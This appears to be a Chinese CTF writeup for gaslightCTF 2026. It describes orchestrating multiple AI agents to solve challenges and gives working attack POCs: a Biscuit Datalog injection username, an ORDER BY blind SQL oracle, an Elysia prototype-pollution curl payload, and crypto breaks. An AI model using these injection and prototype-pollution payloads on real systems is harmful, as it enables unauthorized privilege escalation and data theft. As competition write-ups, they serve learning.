统计分析的盲区要靠感知兜底。Welcome 的单帧单字符、Afterimage1 的孤立帧，都是统计管道全绿、人眼或多模态一眼就能看出来的题。这次把三道感知题打包外送 GPT，附带交接文档（已知事实、假阳性记录、输出格式），中了 2/3。交接文档写得好不好，直接决定外援效率。

假阳性要有对照组。Buggy web 的时延 oracle 三次"命中"全被交错 A/B 对照证伪（LB stall 与 SLEEP 同形）。连续 3/3 复现也可能只是整个窗口都在 stall。

穷尽也是一种产出。三道未解的穷尽型题目（Archivist 5 轮 / Buggy web 7 轮 / CTFxck 10 轮）每轮的排除面、新原语、语义修正都落盘了。赛后拿官方 writeup 来对，这些是最值钱的对照材料。

结尾

40/46（Crypto、Pwn、Rev、Welcome 全清），4504 分，排名 14。deepseek-v4-flash 与 GLM-5.3 五个主会话接力编排（模型归属逐段核自会话运行记录）、138 个子 agent 流水线（flash 68 / GLM 70，合计 6850 请求）、GPT 两次多模态出手、主 agent 两道本地快题。完整的题解过程（每题 WRITEUP、全部脚本、CTFxck 十轮断点、Buggy web 七轮矩阵）在本地题目目录里，每题一个文件夹。能带走的东西写进了方法论文档：炸栈指纹、孤立帧差分、Ghost Bits、假阳性级联、时延对照纪律，五节（对应题目：Canary Notes、Afterimage1、SimpleNotes、CTFxck、Buggy web）；另 Reverse 四题的 cl+0x1A 滚动异或套路见 Reverse 节横联。

附录：任务编排模板首版全文（08-15 16:52 注入主会话）

第一节引用的「任务编排模板首版全文」原样附在此处；提交锁/实例锁的废除、并行度 6→3 回落等修订史见第一节（prompt 对照表 + 纪律）。当前修订版存于作者技能库 prompttemplate/ctfhunterprompt.txt。

真实派单示例（gaslightCTF 2026 的 4-piece-puzzle，与 THJCC 同骨架）

派单 prompt 是模板「阶段 2」的具体化：题目情报 + 模型能力边界 + 工作纪律 + 回报格式四块。以下为真实派单全文（机器本地绝对路径已掩码为 <工作目录>）：

📜 真实派单示例（gaslightCTF 2026 4-piece-puzzle）（20 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


你是 CTF 解题子 agent，负责解 gaslightCTF 2026 的 forensics 题 **4-piece-puzzle**（484 分，40 人已解）。

## 题目情报
- 题目页：https://play.gaslightctf.cooking/challenges/4-piece-puzzle
- 题面：**"these fou-fou-four puzzle pieces are my favourite colours! excuse the stutter."** —— 四块拼图 + 颜色（"my favourite colours"）+ 口吃（fou-fou-four = 4-4-4？"these fou-fou-four"可能暗示 4×4 或 444）
- 附件（已预下载）：`<工作目录>/4-piece-puzzle/puzzle_pieces.zip`（71468 字节）
- 思路起点：解压看内容（4 张拼图片？）。纯图像算法处理：颜色直方图/主色提取、拼图边缘匹配拼接、按颜色排序。"favourite colours"提示 flag 可能由**颜色序列编码**（如每块主色 → 字母/数字），拼接顺序即 flag。"fou-fou-four"可能提示 4 块 × 4 面 或 444。先 `unzip -l` + 图像信息（尺寸/模式/主色）。
- **重要边界**：当前模型无视觉能力。若解题只靠**像素/颜色数值分析**（提取主色、边缘匹配、直方图）可以继续；若卡在"需要人眼理解图像内容/语义"（看图认字、识别图形），**立即停止**，写 notes.md 断点（含已提取的颜色/结构数据）回报，不要硬耗。

## 工作纪律
1. 工作目录：`<工作目录>/4-piece-puzzle/`（中间产物放这里，禁 /tmp）。
2. 浏览器：`agent-browser --profile Default --session agent16`。打开题目页 → 填 flag 到 textbox → Submit Flag。
3. 判对信号：提交后 Solves 计数 +1 或 Submit Flag 表单消失。提交间隔 sleep 2s；判错继续，变体 ≤5 次。
4. 落盘：`WRITEUP.md`（五段式）+ `solve.py`（可复现）。被否尝试记边界。
5. 时间盒 30-40 分钟；无进展回报卡点。
6. 保密：实例地址/凭据不写入任何文档（本题无实例）。
7. **不要修改比赛总表 README.md**（主 agent 统一更新）。

## 回报格式（最后消息）
结论（解出/未解/卡点-是否视觉瓶颈）+ flag + 平台判定信号 + WRITEUP 路径 + 下一步建议。

📜 任务编排模板首版全文（44 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


# 任务：CTF 全量刷题（主 agent 编排模式）

## 任务参数（换比赛/平台只改这一块；平台特定事实以实际为准，开工先侦察确认）
- 平台挑战列表：https://ctf2026-sum.thjcc.org/challenges（登录态复用 Chrome Default profile）
- 产物根目录：`THJCCCTF2026summer/`，一题一个文件夹，禁止放 tmp 或仓库根目录
- 浏览器入口：`agent-browser --profile Default`（`open → wait → snapshot -c -i → click @ref / fill 'input'`），不换 profile
- 判对信号（THJCC 实测示例，勿套用到其他平台）：提交成功提示 + 页面已解计数 +1；判错为错误提示。新平台开工先提交观察一次，把实际信号补录进本块
- 实例机制（以平台实际为准，勿预设互斥/超时）：有无实例、可否多开、生命周期各不相同；开工先确认并补录本块。实例地址不写入任何文档
- 方法论：`ctf-solver` skill（Skill 工具加载；未注册则读用户提供的技能文件路径），其 references/ 含六类题型模式文档、工具手册、payload 速查
- 环境：编程环境齐备；缺轮子按序 pip 装进项目 `.venv`（Python 3.11.11）→ brew → GitHub 检索源码安装，装完立即验证可执行；脚本兼容 macOS bash 3.2（`${VAR}` 花括号、禁数组）

## 通用规则（平台无关，跨比赛复用）

### 角色分工
- 主 agent 不亲自解任何题，只做：侦察题目列表、排序派单、提交结果验收、总表汇总；不重复提交 flag。
- 每题派一个 general-purpose 子 agent，单题过程不进主上下文。
- **并行度：同时最多 3 个子 agent 解题，题型不限**；需实例的题由子 agent 自行按平台机制启动/回收实例（实例地址从题目页获取）。总表更新只由主 agent 做，子 agent 不写总表。

### 阶段 1：侦察与排序（主 agent，轻量）
1. 打开挑战列表页，提取每题：名称、分类、分值、解出数、有无源码/附件。
2. 盘点产物根目录已有文件夹：有 WRITEUP 且 flag 已提交确认的视为完成（跳过），未完成的排入队列，不重复建目录。
3. 排序启发式（依次满足）：
 a. 非多模态优先于多模态依赖（读图/听音/视频内容才可推进的题标记待办最后做；LSB/binwalk/OCR/whisper 等纯工具可解的不算多模态依赖，按普通题做）；
 b. 有源码优先于纯黑盒；
 c. 同条件下先做解出数多、分值低的题（难度代理指标）。
4. 总表写入 `<根目录>/README.md`（挑战|分值|考点|flag|状态），逐题更新。

### 阶段 2：逐题派单（子 agent 执行，并行度 ≤3）
派单 prompt 固定骨架，自包含注入：题目名/链接/分类/描述 + 有无源码与附件路径 + 实例信息（如需，由子 agent 自行启动获取）+ 排序理由 + 以下纪律：

1. 按需加载 ctf-solver skill 按主循环走：读题 → 按分类加载对应模式文档 → 构造利用 → 有本地可复现部分先本地打通再打远程，纯黑盒直接远程打点。
2. 浏览器操作一律 `agent-browser --profile Default`。
3. 落盘纪律：`WRITEUP.md` 五段式（挑战概述→侦察结论→攻击链→复现→修复建议）；有脚本解法必写 `solve.py/solve.sh`（不写死实例地址）；调试产物（probe.py/notes.md）保留复盘价值；被否掉的尝试记一句边界（为什么不通）。
4. 保密纪律：实例 hostname、临时凭据不写入任何文档；实例地址变化后回题目页重新获取。
5. 时间盒：单题上限 30 分钟，连续 15 分钟无新进展即回报主 agent 决策（换题/加时/换思路），不无限耗。
6. 提交纪律：拿到候选 flag 后自行提交——**先取提交锁**（见「并行与互斥」），锁内串行提交、间隔 sleep 1-2s、绝不与其他 agent 并发，提交完立即释放锁。判定以该平台实际返回为准：判对信号通常是成功提示/已解计数 +1，判错是错误提示——**具体文案各平台不同，先观察本次提交的返回形态，把实际判对/判错信号记录进 WRITEUP 与回报，再据此定脚本匹配规则**（通用陷阱：勿用 `correct` 等短子串匹配判对，会误命中 incorrect）；判定为错则在时间盒内继续排查迭代；提交失败（登录过期等）回报主 agent 处理，不重复乱试。
7. 回报格式：结论（解出/未解/卡点）+ 候选 flag + 平台判定信号（实际返回文案/页面变化）+ WRITEUP 路径 + 下一步建议。

### 阶段 3：验收与汇总（主 agent）
- 以子 agent 回报的平台判定信号为验收依据，**不重复提交**；存疑时复核页面状态（已解计数/提交历史）。子 agent 回报中确认的判对信号补录进任务参数块（后续题目复用）。
- 已解 → 更新 TodoWrite 与 README 总表（flag 只出现在总表与 WRITEUP 中）；未解 → 总表标注原因。
- 每题验收清单：WRITEUP 五段齐全；solve 脚本可复现；flag 已提交且平台确认（子 agent 回报的判定信号）；目录内无实例地址泄漏。
- 比赛进行期间不推送任何 writeup/exp 到公开远端（防 DQ），结束后由用户决定提交。
- 收尾：比赛级总结（解题数/覆盖率/分题型经验），可迁移经验沉淀 `METHODOLOGY.md`。

gaslightCTF 2026 writeup

Sat, 15 Aug 2026 00:00:00 +0000

gaslightCTF 2026 writeup

gaslightCTF 2026（Berg CTF 平台，动态计分，账号级实例互斥）一共放出 35 题，分两轮打完，解出 29：

分类	战绩	备注
Web	5/5	全清
Crypto	9/9	全清
Pwn	5/5	全清
Rev	2/2	全清
Forensics	4/6	未解：4-piece-puzzle（拼图重建）
Misc	4/10	未解：speedy / quack / meow（照片地理定位）、Tuning Keyboard v6.7（听歌）、mineguessor（Minecraft 种子）

两轮的打法完全不同。第一轮（08-15，16 题全部解出）是传统的单会话硬打： GLM-5.3 打前半场，DeepSeek v4-pro/flash 收后半场，两道要"看图"的题（good-luck!、odyssey）由外部多模态模型 GPT-5.6-sol 补位——三个模型接力。第二轮（08-16 19:40 平台放出 19 道新题，08-17 收官，13/19）换成了编排式：主 agent 只做侦察、附件预下载、排序派单、验收与总表，每题派一个 general-purpose 子 agent，≤3 并发滑窗 + 断点落盘续派。

未解的 6 题全部卡在视觉/听觉上：照片地理定位 ×3、拼图重建、旋律识别、Minecraft 种子定位。但每题都推进到了"只差最后一眼/一耳"的位置——其中 layered-pages 证明了连通域结构分析甚至能完全替代视觉（已解出）。怎么分工、踩了哪些坑、六道没解出来的题卡在哪，都写在前面，题解放后面，每题附一段能直接跑的最小 POC。比赛已结束，flag 全部公开。

一、模型怎么分的工

第一轮（08-15）：三个模型接力，单会话 sess_f49b00b0

同一个 ZCode 会话（sess_f49b00b0）里，模型中途换过一次。归属是我事后从本地 db 的 model_usage 表（342 次 GLM 请求 + 77 次 pro + 342 次 flash）和各题文件时间戳交叉核对出来的，不是猜的。

模型	时段	完成的题目
GLM-5.3	09:23–10:53	Web 3/3（biscuit、messageboard、json-warehouse）；Crypto 5/5（affine-hill、dream-starts 1/2、NEWJEANS IS FIVE、CompleteHTTP）；Misc 的 sanity-check、jsbox、useless-rce（利用链写到了 final.hs）；odyssey 前期 OSINT（10:28–10:36，被暂停）
DeepSeek v4-pro / v4-flash	10:53–14:15	useless-rce 收尾；ram-conservation；badcat（fd 复用）；compiled-source-sheets；good-luck! 分析（没解出来）；odyssey（图搜 + 网格盲试，`37.974,23.724` 被平台接受）；全部文档整理
GPT-5.6-sol（外部）	12:07 / 14:01	good-luck!（右声道 0–4 kHz 频谱图）；odyssey（官方答案：Canellopoulos Museum 37.9729473,23.7260968 → `37.973,23.726`）。GLM 和 DeepSeek 都没多模态，看图题只能靠它

模型切换点：10:53 我发了句"继续"，GLM-5.3 最后一次请求 10:53:22， DeepSeek 10:53:30 接管。12:24 会话触发过上下文压缩，之后又从 flash 切到 pro。

我给的 prompt（对照表，从会话记录提取）

时间	原始 prompt（摘录）	响应的模型
09:23	完成 https://play.gaslightctf.cooking/challenges 中web漏洞的挑战，有什么需求轮子可以自己安装github（检索）/brew，并把你的解题思路记下来，全部解题与思路都放在 gaslightCTF2026/，每个题目一个文件夹。浏览器操作使用 agent-browser，凭据用chrome原有的：“agent-browser”, “–profile”, “Default”	GLM-5.3
09:29	本地有python3 的	GLM-5.3
09:54	现在解决下：crypto	GLM-5.3
10:12	现在有timeout了，也有gtimeout，可以用了，你那个进程run的有点久了，这是正常的吗？	GLM-5.3
10:21	完成 misc、pwn、rev、forensics 按顺序。	GLM-5.3
10:42	先跳过这个，社工的题目先不做（浪费时间），先做技术的题目	GLM-5.3
10:53	继续 ← 模型切换点	DeepSeek v4-pro → v4-flash
11:20	继续	DeepSeek v4-flash
11:50	为什么要用docker？	DeepSeek v4-flash
12:07	这是题解，其他人做出来了：Forensics｜Good luck! Writeup …（外部题解全文，见下文 Forensics 节）	DeepSeek v4-flash（内容来源 GPT-5.6-sol）
12:22	沉淀经验方法论。写到 `gaslightCTF2026/` 中。	DeepSeek v4-flash
12:24	gaslightctf2026 … pwn 的badcat完成下	DeepSeek v4-pro
12:25	应该需要获取新的环境 or什么的？	DeepSeek v4-pro
12:38	完成这个题目：Categories misc … Do I colour grade better than Christopher Nolan? …（odyssey）	DeepSeek v4-pro
12:51	在这个附近 gaslightCTF{37.974,23.726}。提交下flag，sleep提交，别并发，已经试过错误的：37.972/973/974,23.726	DeepSeek v4-pro / v4-flash
13:45	我让众多agent解题，几乎都是这个flag：37.973,23.726 … 你写一个脚本，把这附近的flag都交一下试试看？尝试100次最多。执行后返回结果。	DeepSeek v4-flash
14:01	这个是odyssey的题解，学习并更新下你的wp：…（官方题解全文，见上文 Misc 节）	DeepSeek v4-flash（内容来源 GPT-5.6-sol）

会话 12:24 触发上下文压缩后，rollout 日志只剩压缩后的记录；GLM 时代的请求完整存在本地 ZCode db（model_usage / message 表）。这也是本表归属的出处。

第二轮（08-16 ~ 08-17）：主 + 子 agent 编排，13/19

08-16 19:40 平台放出第二批 19 道新题（crypto 4、rev 1、pwn 3、web 2、forensics 4、 misc 5）。这次不打人海战，直接套用 THJCC 那套打磨过的编排模板（母版 ctfhunter-prompt-template.md 的 gaslightCTF 实例），主 agent 不进单题细节，上下文全程干净：

执行者	完成的题目
子 agent 流水线（13 解）	down-the-stream-1/2、no-info、dream-starts-3、ohfrick、good-enough、ucas、thirds、crawl、corridors、blackout、icon-sketch、layered-pages
主 agent（编排 + 验收 + 代提交）	侦察题目列表、附件预下载、排序派单、验收、总表；speedy 后半程亲自攻坚（事件钉死、坐标候选排除、街景证据翻案）
多模态挂起（6 题）	speedy / quack / meow / 4-piece-puzzle / tuning-keyboard-6 / mineguessor——视觉 API 限流 + 模型无视觉听力，按用户指示挂起，断点全量落盘各题 notes.md

编排的骨架：

每题一个 general-purpose 子 agent，40 分钟时间盒；断点落盘续派——子 agent 中断/死亡后检查产物目录，把已完成分析注入新 prompt 重派，不重复劳动。
≤3 并发滑窗：所有 agent 一律后台派发，任何一个结束（含失败）立即从队头补派，保持 3 个常满。THJCC 晚场实测 6 并发会连环触发模型层故障，这个教训直接沿用。
附件预下载：主 agent 在派单前用 pantry 直链（curl -A "<浏览器UA>"）把全部附件下到对应题目目录，派单 prompt 只注入本地路径，子 agent 不做下载。
实例串行令牌（gaslightCTF 平台特有）：账号级实例互斥，同账号同时只能一个实例 ——实例题（web 黑盒、pwn 远程交互段）必须串行，主 agent 维护"实例归属"，用完立即 Kill 释放才派下一个；本地题（crypto/rev/纯文件取证）不受此限全程并行。
总表只由主 agent 写（子 agent 并发改 README 有覆盖风险）；浏览器会话隔离，每个子 agent 用自己唯一的 --session <名>。

解题优先级是用户定稿的：pwn/rev/crypto（有源码可本地调试、AI 友好）→ 有源码附件的 web/misc → 无源码黑盒 → 多模态最后。同优先级内解出数多者优先（越多越简单，也是可解性实证）。19 题按这个排序打下来：Tier 1 的 8 道 pwn/rev/crypto 全清， Tier 3 的 2 道黑盒 web 全清，Tier 4 文件取证 4 道里 blackout/icon-sketch/layered-pages 3 道本地化解，纯视觉/听觉的 6 道挂起。

多模态挂起的决策：视觉 API 撞上账户级 429 限流（8 次尝试跨 35 分钟全拒），当前模型又没有原生视觉/听力——quack 的子 agent 在时间盒内把 EXIF、OCR、三轮 Yandex 图搜全做完后卡在"识别画面主体"，继续硬耗只会烧预算。按用户指示整体挂起，断点全量落盘（每题 notes.md 按"已确凿的事实 / 当前假设与排除面 / 下一步（优先级）" 分节），赛后可续攻。

两轮打磨出来的纪律

Solves 计数 +1 不是判对信号（corridors 的教训）：Berg CTF 的 Solves 是全局计数，别人解出也会 +1。corridors 的子 agent 报告"Solves 80→81 判对"，主 agent 核对列表无 ✓ 标记后重新提交，才真正解出。唯一可靠信号 = 刷新后 Submit Flag 表单消失 / “You have solved this challenge!” / 列表 ✓ 标记。
视觉 API 只用中性开放提问（layered-pages 的教训）：带猜测提问（“是不是 (z3r0)0ut？"）时视觉模型会"确认"不存在的内容——9 字符的字形行被读成只有 3 个主行字形。前任 agent 因此交了约 50 个错误 flag。规矩：只用"逐项描述所有可见内容，不确定的标注不确定”，读数必须本地手段交叉验证。
截图证据链要过文件大小审计（speedy 的教训）：子 agent 的 7 张街景截图里 4 张是 12KB 的占位图（页面加载失败的 UI 空壳，多张 md5 相同），当作证据会得出假结论。主 agent 用 RANSAC 单应内点数翻案：真同地点两张图 2055 个内点，假匹配只有 5 个——判别力极强，“看起来像"不算数。
模型层故障 ≠ 解题失败：子 agent “Model returned no text” 中断后，它的分析产物（notes.md / 脚本 / 截图）仍在。speedy 的事件识别（IShowSpeed × HCMC 天桥）就是中断 agent 留下的完整成果，按断点续派或主 agent 接手即可，不要重做。
判定文案要先人工看一眼（odyssey 的教训，第一轮）：提交脚本的正则 *correct* 会误匹配 “incorrect” 里的子串；平台判对时显示的是 “You have solved this challenge!"，不是 “correct” 字样。写脚本前先把成功/失败/限流的文案各看一眼。
slug 与题名可能不一致：“Tuning Keyboard v6.7” 的 URL slug 是 tuning-keyboard-6，从列表页链接（get attr @ref href）拿真实 slug。

二、题解（29 题，每题附真实可运行的最小 POC）

每题代码即对应本地题目目录 <slug>/solve.py（或 solve.sh）的真实内容（个别长的截取核心段，行数已注明）；联网 POC 为赛时实例验证，赛后需自建环境或本地起题；纯人眼/OSINT 类题（odyssey）注明豁免与可复现部分。29 题 = 28 个条目（Where the dream starts 1/2 合并为一条）。所有代码块默认折叠，按需点击展开。

跨题套路：凡是给了源码的题先在本地跑起来再打远程（省一大半试错）；先黑盒侦察再翻白盒源码；盲注/爆破/位流提取这类重复劳动全部脚本化；静态结论必须动态验证。 Web 的框架版本就是攻击面（json-warehouse）；Crypto 的魔改算法先找"缺了哪个部件” （NEWJEANS 没 S 盒、down-the-stream 的 LFSR 只有 8 bit）；Pwn 的 setuid 程序先画 fd 流转图（badcat）；多模态降级路线 macOS Vision > tesseract > 连通域结构分析（layered-pages 就此破题）。

Web（5/5）

biscuit（120）— Biscuit 令牌 Datalog 注入 Flag：gaslightCTF{d3f1nit3ly_a_cak3_f0r_l3g4l_r34s0n5_9eb56136ee9c}

登录态是 Biscuit 能力令牌（Datalog 写的），/flag 要求令牌带 role("admin") 事实。服务端把用户名直接拼进 Datalog 源码，没有任何转义。注册用户名 x"); role("admin 即可闭合字符串、追加事实、让语法保持合法，令牌还是服务器自己签的——验证时用 protobuf 解码服务端令牌，确认 role("admin") 事实真的进了授权层。

📜 biscuit 最小 POC（4 行）——点击展开

1
2
3
4


import requests
s = requests.Session()
s.post(URL + "/register", json={"username": 'x"); role("admin'})
print(s.get(URL + "/flag").text) # cookie 里的令牌已带 role("admin")

messageboard（384）— ORDER BY 盲注，密码当探针 Flag：gaslightCTF{ar3_y0u_my_cl0s3_fr13nd_n0w?_3190aec242b4}

输入全被过滤成字母数字，注入面看起来封死了。但 ORDER BY ${column} 能引用任意列名，包括 secret（密码列）——标识符位置不吃字母数字过滤。于是把"注册账号时的密码"当成探针：观察"按 secret 排序时 admin 排在探针前还是后”，构成逐位比较的 oracle，二分恢复 admin 的 16 位 hex 密码，登录读 flag。整套交互 ~200 次请求全部脚本化。

📜 messageboard 最小 POC（13 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


def probe(prefix): # 探针密码以 prefix 开头时，admin 是否排在探针后面
 register(prefix + "0" * (16 - len(prefix)))
 return order_of_admin_after_probe()

secret = ""
for pos in range(16):
 lo, hi = 0, 15
 while lo < hi:
 mid = (lo + hi) // 2
 if probe(secret + hex(mid)[2:]): hi = mid
 else: lo = mid + 1
 secret += hex(lo)[2:]
print(login(secret)) # 用 admin 密码登录读 flag

json-warehouse（469）— 原型污染，免 cookie 越权 Flag：gaslightCTF{p0llut3d_w4r3h0us3s_ar3nt_v3ry_s4f3_c0nd1ti0ns_225a6ab744bb}

package.json 里 Elysia 1.4.16 是第一步：查 advisory 锁定双 body schema 的 mergeDeep 原型污染，再拉 node_modules 源码本地确认漏洞点。PUT /:key 带双 schema 时 __proto__ 键污染 Object.prototype；之后不带 cookie 请求时 Cookie.value 沿原型链取到 “1000”，服务端当成 admin——找的就是这种"读取时回退到原型链"的取值点。

📜 json-warehouse 最小 POC（3 行）——点击展开

1
2
3


curl -sk -X PUT "$BASE/storage/x" -H 'Content-Type: application/json' \
 -d '{"value":"2","__proto__":{"value":"1000"}}'
curl -sk "$BASE/storage/flag" # 无 cookie，直接读

crawl（406）— robots.txt 是地图，不是门锁 Flag：gaslightCTF{LLM_1nduc3d_4r4chn0ph0b1a_de04d0ba1802}

第二轮纯黑盒 web 题，题面只有一句 “AI crawlers never respect the rules…"。侦察第一步永远是 robots.txt：里面除了 Disallow: /super_secret/，还有一条注释要求 LLM agent 访问时带 X-LLM-Agent 头——题面的双关，真正"不守规矩"的是直接无视 robots.txt 的访问者。直接 GET 被 Disallow 的目录：nginx autoindex 开着，目录列表里躺着 _flag.txt。准备的 UA 矩阵（ua_list.txt）根本没用上，普通 UA 一路畅通。

📜 crawl solve.sh（30 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


#!/bin/bash
# crawl solve script — parameterized by HOST/PORT
# Usage: bash solve.sh <host> <port>
# The service is HTTPS-only (http 301 -> https); use -sk throughout.
set -u
HOST="${1:?usage: solve.sh <host> <port>}"
PORT="${2:?usage: solve.sh <host> <port>}"
BASE="https://${HOST}:${PORT}"
DIR="$(cd "$(dirname "$0")" && pwd)"
UA_NORMAL='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'
OUT="${DIR}/recon_out"
mkdir -p "${OUT}"

echo "== Phase 1: robots.txt =="
curl -sk -m 8 -A "${UA_NORMAL}" "${BASE}/robots.txt" | tee "${OUT}/robots_body.txt"

# Extract first Disallow path (the flag directory)
DISP=$(grep -i '^[[:space:]]*Disallow' "${OUT}/robots_body.txt" | head -1 | sed 's/.*:[[:space:]]*//' | sed 's/[[:space:]]*$//')
[ -z "${DISP}" ] && { echo "no Disallow found in robots.txt"; exit 1; }
echo; echo "== Disallow path: ${DISP} =="

echo; echo "== Phase 2: list disallowed dir (autoindex) =="
curl -sk -m 8 -A "${UA_NORMAL}" "${BASE}${DISP}" | tee "${OUT}/dir_listing.txt"

# Find flag file in the listing
FLAGFILE=$(grep -oE 'href="[^"]+"' "${OUT}/dir_listing.txt" | sed 's/href="//;s/"//' | grep -viE '^(\.\./|/)$' | head -1)
[ -z "${FLAGFILE}" ] && { echo "no file found in dir listing"; exit 1; }
echo; echo "== Phase 3: fetch flag =="
curl -sk -m 8 -A "${UA_NORMAL}" -w '\n(HTTP %{http_code})\n' "${BASE}${DISP}${FLAGFILE}"
echo "done. artifacts in ${OUT}"

corridors（447）— 迷宫路径就是 flag 的二进制 Flag：gaslightCTF{fr33d0m_4t_l4st_55b364531ed4}

黑盒题，The Stanley Parable 风格：每个"走廊"节点只有 l/ 和 r/ 两个去向，页面 <title> 是 oracle——correct 在正确链上，wrong 是死路。关键解码是意识到正确链的路径位串（l=0, r=1）按 8 位分组就是 flag 的 ASCII：前几个字节解出 gaslightCTF{ 后就没有悬念了。脚本从根开始每层并行探测两个子节点、跟随 correct 分支收集位串，229 步、328 bit、41 字符，走到标题为 freedom 的终点页，全程约 2 分钟。

这题还有个编排插曲：子 agent 报告"Solves 80→81 判对”，实际是别人解出造成的全局计数 +1；主 agent 核对列表无 ✓ 后重新提交才真正解出——此后判对只认表单消失 / “You have solved this challenge!” / ✓ 标记。

📜 corridors solve.py（72 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72


#!/usr/bin/env python3
"""gaslightCTF 2026 corridors — solve script.

迷宫每节点只有 l/ r/ 两个去向，<title>correct</title> 表示在正确链上，
wrong 是死路。正确链的路径 l=0, r=1 按 8 位分组就是 flag 的 ASCII 编码：
沿唯一正确分支走到终点页(freedom)，解码路径即得 flag。

用法: python3 solve.py <host:port>
"""
import sys, re, ssl, http.client, threading, time

hostport = sys.argv[1] if len(sys.argv) > 1 else sys.exit("usage: python3 solve.py <host:port>")
host = hostport.split('/')[-1]
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
UA = {'User-Agent': 'Mozilla/5.0'}

def make_conn():
 return http.client.HTTPSConnection(host, timeout=15, context=ctx)

def fetch(conn, path):
 try:
 conn.request('GET', path, headers=UA)
 r = conn.getresponse()
 return r.status, r.read(20000)
 except Exception:
 return None

def get(conn, path):
 res = fetch(conn, path)
 if res is None:
 return fetch(make_conn(), path) or (0, b'')
 return res

def title(body):
 m = re.search(rb'<title>(.*?)</title>', body, re.S)
 return m.group(1).decode('utf-8', 'replace').strip().lower() if m else ''

def probe(conn, path, out, key):
 out[key] = title(get(conn, path)[1])

path = '/'
bits = []
t0 = time.time()
conns = [make_conn(), make_conn()]
step = 0
while True:
 step += 1
 out = {}
 ths = [
 threading.Thread(target=probe, args=(conns[0], path + 'l/', out, 'l')),
 threading.Thread(target=probe, args=(conns[1], path + 'r/', out, 'r')),
 ]
 for t in ths: t.start()
 for t in ths: t.join()
 correct = next((k for k, v in out.items() if v == 'correct'), None)
 if correct is None: # 终点：非 correct/wrong 页
 other = next((k for k, v in out.items() if v not in ('correct', 'wrong')), None)
 if other:
 path += other + '/'
 bits.append(1 if other == 'r' else 0)
 print(f'[maze end] title={out} steps={step} bits={len(bits)} t={time.time()-t0:.0f}s')
 break
 path += correct + '/'
 bits.append(1 if correct == 'r' else 0)
 if step % 50 == 0:
 print(f'[{step}] bits={len(bits)}', flush=True)

flag = ''.join(chr(int(''.join(map(str, bits[i:i+8])), 2)) for i in range(0, len(bits) - 7, 8))
print('FLAG:', flag)
assert flag.startswith('gaslightCTF{') and flag.endswith('}'), 'decode check failed'

Crypto（9/9）

affine-hill（100）— 差分消常数，矩阵求逆 Flag：gaslightCTF{kn0wn-pl41nt3xt-4tt4cks-4r3-sup3r-s1mpl3}

4×4 Affine-Hill：c = p·K + b (mod 37)，字母表 37 字符。仿射密码的常数项 b 是最大的未知数，但同一明文的差分直接消掉它：c_i - c_1 = (p_i - p_1)·K， 4 组差分构造矩阵求逆解出 K，回代求 b。展平 20 字符就是 keyword。

📜 affine-hill 最小 POC（6 行）——点击展开

1
2
3
4
5
6


import sympy
A = sympy.Matrix([[p_i - p_1 for p_i in blocks(PT)][:4]]) # 4 组明文差分
E = sympy.Matrix([[c_i - c_1 for c_i in blocks(CT)][:4]]) # 对应密文差分
K = A.inv_mod(37) * E
b = (blocks(CT)[0] - blocks(PT)[0] * K) % 37
print(K.tolist() + b.tolist()) # 展平 20 字符即 keyword

Where the dream starts 1/2（100）— 凯撒、列移位 Flag：gaslightCTF{caesarreallylikedashiftofthree} / gaslightCTF{tr4nsp0s3-2-th3-k3y-0f-g-fl4t!}

1 是凯撒移位 3，bytes(c - 3 for c in ct) 直接出明文。2 是 3 列列移位（恒等置换），密文三段按行交错读回，丢尾部补位噪声。

📜 dream-starts-1/2 最小 POC（6 行）——点击展开

1
2
3
4
5
6


# dream-starts-1
print(bytes((c - 3) % 128 for c in ct)) # 凯撒 -3

# dream-starts-2：把密文按 3 列均分，按列序读回
n = len(ct) // 3
print("".join(ct[i::n] for i in range(n))[:-2]) # 尾部补位 "eo" 丢弃

NEWJEANS IS FIVE（257）— 没 S 盒的 AES 是线性的 Flag：gaslightCTF{newj34ns-nv-d!es}

AES 里唯一非线性部件 SubBytes 被换成恒等映射，整个算法退化成 GF(2) 仿射变换 E(x) = L(x) ⊕ c。手写密码实现先找"缺了哪一步"：S 盒没了整体就线性化。用任意密钥本地加密 128 个单位向量构造 L，一组已知明文对求 c，解线性方程组出 flag。

📜 NEWJEANS IS FIVE 最小 POC（7 行）——点击展开

1
2
3
4
5
6
7


L = np.zeros((128, 128), dtype=np.uint8)
for i in range(128):
 e = np.zeros(128, dtype=np.uint8); e[i] = 1
 L[:, i] = enc(e) ^ enc(np.zeros(128, dtype=np.uint8))
c = enc(pt) ^ (L @ pt) & 1 # 常数项
flag = gf2_solve(L, enc_flag ^ c) # 高斯消元
print(bytes(flag).decode())

CompleteHTTP（390）— 弱素数逐 limb 分解，解 TLS Flag：gaslightCTF{gu3s5_y0u_n33d_l0ng_sl33v35_ev3n_in_5umm3r?}

服务端是自写 TLS（.NET），反编译 bundle 的 IL 发现证书 RSA 模数每 32 位 limb 只有 1 个非零字节——弱结构素数。从 LSB 开始逐 limb 解字节乘法方程（n_i = Σ p_j·q_{i-j}），约束搜索 DFS 秒级分解 N，比通用 ECM 快得多； RSA 解 premaster 后按 TLS 1.2 EMS 派生密钥，解开 pcap 里的应用数据。（pcapng 不能过 tcpdump 转换，直接 Python 解块结构重组 TCP 流。）

📜 CompleteHTTP 最小 POC（5 行）——点击展开

1
2
3
4
5


# 逐 limb：n_i = Σ p_j·q_{i-j}，p/q 每 limb 只有 1 个非零字节
# 非零字节位置 → 约束搜索（DFS），复杂度远低于 ECM
for i in range(limbs):
 for bp, bq in product(nonzero_positions, repeat=2):
